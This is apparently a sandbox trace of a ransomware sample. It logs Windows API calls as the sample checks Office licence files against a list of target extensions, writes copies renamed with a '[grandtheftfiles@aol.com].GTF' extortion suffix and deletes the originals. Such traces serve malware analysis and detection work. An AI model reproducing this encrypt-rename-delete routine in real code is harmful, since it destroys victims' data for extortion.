	[0176.166] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.166] SetEndOfFile (hFile=0x3e0) returned 1
	[0176.184] CloseHandle (hObject=0x3e0) returned 1
	[0176.184] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0176.189] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial-ul-oob.xrm-ms")) returned 1
	[0176.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ul-oob.xrm-ms") returned 79
	[0176.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ul-oob.xrm-ms") returned 79
	[0176.374] lstrlenW (lpString=".doc") returned 4
	[0176.374] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0176.374] lstrlenW (lpString=".docx") returned 5
	[0176.374] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0176.374] lstrlenW (lpString=".pdf") returned 4
	[0176.374] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0176.374] lstrlenW (lpString=".xls") returned 4
	[0176.374] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0176.374] lstrlenW (lpString=".xlsx") returned 5
	[0176.374] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0176.374] lstrlenW (lpString=".ppt") returned 4
	[0176.374] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0176.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ul-oob.xrm-ms") returned 79
	[0176.375] lstrlenW (lpString=".zip") returned 4
	[0176.375] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0176.375] lstrlenW (lpString=".rar") returned 4
	[0176.375] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0176.375] lstrlenW (lpString=".bz2") returned 4
	[0176.375] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0176.375] lstrlenW (lpString=".7z") returned 3
	[0176.375] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0176.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ul-oob.xrm-ms") returned 79
	[0176.375] lstrlenW (lpString=".dbf") returned 4
	[0176.375] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0176.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ul-oob.xrm-ms") returned 79
	[0176.375] lstrlenW (lpString=".1cd") returned 4
	[0176.375] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0176.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ul-oob.xrm-ms") returned 79
	[0176.375] lstrlenW (lpString=".jpg") returned 4
	[0176.375] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0176.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ul-oob.xrm-ms") returned 79
	[0176.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ul-oob.xrm-ms") returned 79
	[0176.375] lstrlenW (lpString=".doc") returned 4
	[0176.375] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0176.375] lstrlenW (lpString=".docx") returned 5
	[0176.375] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0176.375] lstrlenW (lpString=".pdf") returned 4
	[0176.375] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0176.375] lstrlenW (lpString=".xls") returned 4
	[0176.375] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0176.375] lstrlenW (lpString=".xlsx") returned 5
	[0176.375] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0176.375] lstrlenW (lpString=".ppt") returned 4
	[0176.375] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0176.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ul-oob.xrm-ms") returned 79
	[0176.375] lstrlenW (lpString=".zip") returned 4
	[0176.375] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0176.376] lstrlenW (lpString=".rar") returned 4
	[0176.376] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0176.376] lstrlenW (lpString=".bz2") returned 4
	[0176.376] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0176.376] lstrlenW (lpString=".7z") returned 3
	[0176.376] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0176.376] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ul-oob.xrm-ms") returned 79
	[0176.376] lstrlenW (lpString=".dbf") returned 4
	[0176.376] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0176.376] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ul-oob.xrm-ms") returned 79
	[0176.376] lstrlenW (lpString=".1cd") returned 4
	[0176.376] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0176.376] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ul-oob.xrm-ms") returned 79
	[0176.376] lstrlenW (lpString=".jpg") returned 4
	[0176.376] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0176.376] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0176.376] lstrlenW (lpString="MondoR_Trial-ul-oob.xrm-ms") returned 26
	[0176.376] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_trial-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x570
	[0176.377] GetFileSizeEx (in: hFile=0x570, lpFileSize=0x2e8ff14 | out: lpFileSize=0x2e8ff14*=11586) returned 1
	[0176.377] CloseHandle (hObject=0x570) returned 1
	[0176.377] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_trial-ul-oob.xrm-ms")) returned 0x220
	[0176.377] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_trial-ul-oob.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0176.378] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_trial-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x570
	[0176.378] SetFilePointerEx (in: hFile=0x570, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.378] SetFilePointerEx (in: hFile=0x570, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.378] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_trial-ul-oob.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0176.379] GetLastError () returned 0x0
	[0176.379] ReadFile (in: hFile=0x570, lpBuffer=0x3aa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fecc, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesRead=0x2e8fecc*=0x2d42, lpOverlapped=0x0) returned 1
	[0176.381] WriteFile (in: hFile=0x374, lpBuffer=0x3aa0020*, nNumberOfBytesToWrite=0x2d50, lpNumberOfBytesWritten=0x2e8fc94, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesWritten=0x2e8fc94*=0x2d50, lpOverlapped=0x0) returned 1
	[0176.382] ReadFile (in: hFile=0x570, lpBuffer=0x3aa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fecc, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesRead=0x2e8fecc*=0x0, lpOverlapped=0x0) returned 1
	[0176.382] WriteFile (in: hFile=0x374, lpBuffer=0x3aa0020*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x2e8fc94, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesWritten=0x2e8fc94*=0x108, lpOverlapped=0x0) returned 1
	[0176.382] SetEndOfFile (hFile=0x374) returned 1
	[0176.382] CloseHandle (hObject=0x374) returned 1
	[0176.382] SetFilePointerEx (in: hFile=0x570, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.382] SetEndOfFile (hFile=0x570) returned 1
	[0176.385] CloseHandle (hObject=0x570) returned 1
	[0176.385] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0176.386] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_trial-ul-oob.xrm-ms")) returned 1
	[0176.386] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ul-oob.xrm-ms") returned 76
	[0176.386] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ul-oob.xrm-ms") returned 76
	[0176.386] lstrlenW (lpString=".doc") returned 4
	[0176.386] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0176.386] lstrlenW (lpString=".docx") returned 5
	[0176.386] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0176.386] lstrlenW (lpString=".pdf") returned 4
	[0176.386] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0176.386] lstrlenW (lpString=".xls") returned 4
	[0176.386] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0176.386] lstrlenW (lpString=".xlsx") returned 5
	[0176.387] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0176.387] lstrlenW (lpString=".ppt") returned 4
	[0176.387] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0176.387] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ul-oob.xrm-ms") returned 76
	[0176.387] lstrlenW (lpString=".zip") returned 4
	[0176.387] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0176.387] lstrlenW (lpString=".rar") returned 4
	[0176.387] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0176.387] lstrlenW (lpString=".bz2") returned 4
	[0176.387] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0176.387] lstrlenW (lpString=".7z") returned 3
	[0176.387] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0176.387] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ul-oob.xrm-ms") returned 76
	[0176.387] lstrlenW (lpString=".dbf") returned 4
	[0176.387] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0176.387] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ul-oob.xrm-ms") returned 76
	[0176.387] lstrlenW (lpString=".1cd") returned 4
	[0176.387] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0176.387] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ul-oob.xrm-ms") returned 76
	[0176.387] lstrlenW (lpString=".jpg") returned 4
	[0176.387] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0176.387] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ul-oob.xrm-ms") returned 76
	[0176.387] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ul-oob.xrm-ms") returned 76
	[0176.387] lstrlenW (lpString=".doc") returned 4
	[0176.387] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0176.387] lstrlenW (lpString=".docx") returned 5
	[0176.388] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0176.388] lstrlenW (lpString=".pdf") returned 4
	[0176.388] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0176.388] lstrlenW (lpString=".xls") returned 4
	[0176.388] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0176.388] lstrlenW (lpString=".xlsx") returned 5
	[0176.388] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0176.388] lstrlenW (lpString=".ppt") returned 4
	[0176.388] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0176.388] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ul-oob.xrm-ms") returned 76
	[0176.388] lstrlenW (lpString=".zip") returned 4
	[0176.388] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0176.388] lstrlenW (lpString=".rar") returned 4
	[0176.388] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0176.388] lstrlenW (lpString=".bz2") returned 4
	[0176.388] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0176.388] lstrlenW (lpString=".7z") returned 3
	[0176.388] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0176.388] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ul-oob.xrm-ms") returned 76
	[0176.388] lstrlenW (lpString=".dbf") returned 4
	[0176.388] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0176.388] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ul-oob.xrm-ms") returned 76
	[0176.388] lstrlenW (lpString=".1cd") returned 4
	[0176.388] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0176.388] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ul-oob.xrm-ms") returned 76
	[0176.388] lstrlenW (lpString=".jpg") returned 4
	[0176.388] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0176.389] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0176.389] lstrlenW (lpString="MondoVL_KMS_Client-ppd.xrm-ms") returned 29
	[0176.389] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_kms_client-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x570
	[0176.390] GetFileSizeEx (in: hFile=0x570, lpFileSize=0x2e8ff14 | out: lpFileSize=0x2e8ff14*=12479) returned 1
	[0176.390] CloseHandle (hObject=0x570) returned 1
	[0176.390] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_kms_client-ppd.xrm-ms")) returned 0x220
	[0176.390] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_kms_client-ppd.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0176.390] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_kms_client-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x570
	[0176.391] SetFilePointerEx (in: hFile=0x570, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.391] SetFilePointerEx (in: hFile=0x570, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.391] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_kms_client-ppd.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0176.391] GetLastError () returned 0x0
	[0176.391] ReadFile (in: hFile=0x570, lpBuffer=0x3aa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fecc, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesRead=0x2e8fecc*=0x30bf, lpOverlapped=0x0) returned 1
	[0176.394] WriteFile (in: hFile=0x374, lpBuffer=0x3aa0020*, nNumberOfBytesToWrite=0x30c0, lpNumberOfBytesWritten=0x2e8fc94, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesWritten=0x2e8fc94*=0x30c0, lpOverlapped=0x0) returned 1
	[0176.395] ReadFile (in: hFile=0x570, lpBuffer=0x3aa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fecc, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesRead=0x2e8fecc*=0x0, lpOverlapped=0x0) returned 1
	[0176.395] WriteFile (in: hFile=0x374, lpBuffer=0x3aa0020*, nNumberOfBytesToWrite=0x10e, lpNumberOfBytesWritten=0x2e8fc94, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesWritten=0x2e8fc94*=0x10e, lpOverlapped=0x0) returned 1
	[0176.395] SetEndOfFile (hFile=0x374) returned 1
	[0176.395] CloseHandle (hObject=0x374) returned 1
	[0176.395] SetFilePointerEx (in: hFile=0x570, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.395] SetEndOfFile (hFile=0x570) returned 1
	[0176.398] CloseHandle (hObject=0x570) returned 1
	[0176.398] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0176.399] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_kms_client-ppd.xrm-ms")) returned 1
	[0176.399] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ppd.xrm-ms") returned 79
	[0176.399] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ppd.xrm-ms") returned 79
	[0176.399] lstrlenW (lpString=".doc") returned 4
	[0176.399] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0176.399] lstrlenW (lpString=".docx") returned 5
	[0176.400] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0176.400] lstrlenW (lpString=".pdf") returned 4
	[0176.400] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0176.400] lstrlenW (lpString=".xls") returned 4
	[0176.400] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0176.400] lstrlenW (lpString=".xlsx") returned 5
	[0176.400] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0176.400] lstrlenW (lpString=".ppt") returned 4
	[0176.400] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0176.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ppd.xrm-ms") returned 79
	[0176.400] lstrlenW (lpString=".zip") returned 4
	[0176.400] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0176.400] lstrlenW (lpString=".rar") returned 4
	[0176.400] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0176.400] lstrlenW (lpString=".bz2") returned 4
	[0176.400] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0176.400] lstrlenW (lpString=".7z") returned 3
	[0176.400] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0176.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ppd.xrm-ms") returned 79
	[0176.400] lstrlenW (lpString=".dbf") returned 4
	[0176.400] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0176.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ppd.xrm-ms") returned 79
	[0176.400] lstrlenW (lpString=".1cd") returned 4
	[0176.400] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0176.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ppd.xrm-ms") returned 79
	[0176.400] lstrlenW (lpString=".jpg") returned 4
	[0176.400] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0176.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ppd.xrm-ms") returned 79
	[0176.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ppd.xrm-ms") returned 79
	[0176.401] lstrlenW (lpString=".doc") returned 4
	[0176.401] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0176.401] lstrlenW (lpString=".docx") returned 5
	[0176.401] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0176.401] lstrlenW (lpString=".pdf") returned 4
	[0176.401] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0176.401] lstrlenW (lpString=".xls") returned 4
	[0176.401] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0176.401] lstrlenW (lpString=".xlsx") returned 5
	[0176.401] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0176.401] lstrlenW (lpString=".ppt") returned 4
	[0176.401] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0176.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ppd.xrm-ms") returned 79
	[0176.401] lstrlenW (lpString=".zip") returned 4
	[0176.401] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0176.401] lstrlenW (lpString=".rar") returned 4
	[0176.401] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0176.401] lstrlenW (lpString=".bz2") returned 4
	[0176.401] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0176.401] lstrlenW (lpString=".7z") returned 3
	[0176.401] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0176.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ppd.xrm-ms") returned 79
	[0176.401] lstrlenW (lpString=".dbf") returned 4
	[0176.401] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0176.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ppd.xrm-ms") returned 79
	[0176.401] lstrlenW (lpString=".1cd") returned 4
	[0176.401] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0176.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ppd.xrm-ms") returned 79
	[0176.401] lstrlenW (lpString=".jpg") returned 4
	[0176.401] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0176.402] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0176.402] lstrlenW (lpString="MondoVL_KMS_Client-ul-oob.xrm-ms") returned 32
	[0176.402] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_kms_client-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x570
	[0176.402] GetFileSizeEx (in: hFile=0x570, lpFileSize=0x2e8ff14 | out: lpFileSize=0x2e8ff14*=11609) returned 1
	[0176.402] CloseHandle (hObject=0x570) returned 1
	[0176.402] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_kms_client-ul-oob.xrm-ms")) returned 0x220
	[0176.403] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_kms_client-ul-oob.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0176.403] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_kms_client-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x570
	[0176.403] SetFilePointerEx (in: hFile=0x570, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.403] SetFilePointerEx (in: hFile=0x570, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.403] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_kms_client-ul-oob.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0176.404] GetLastError () returned 0x0
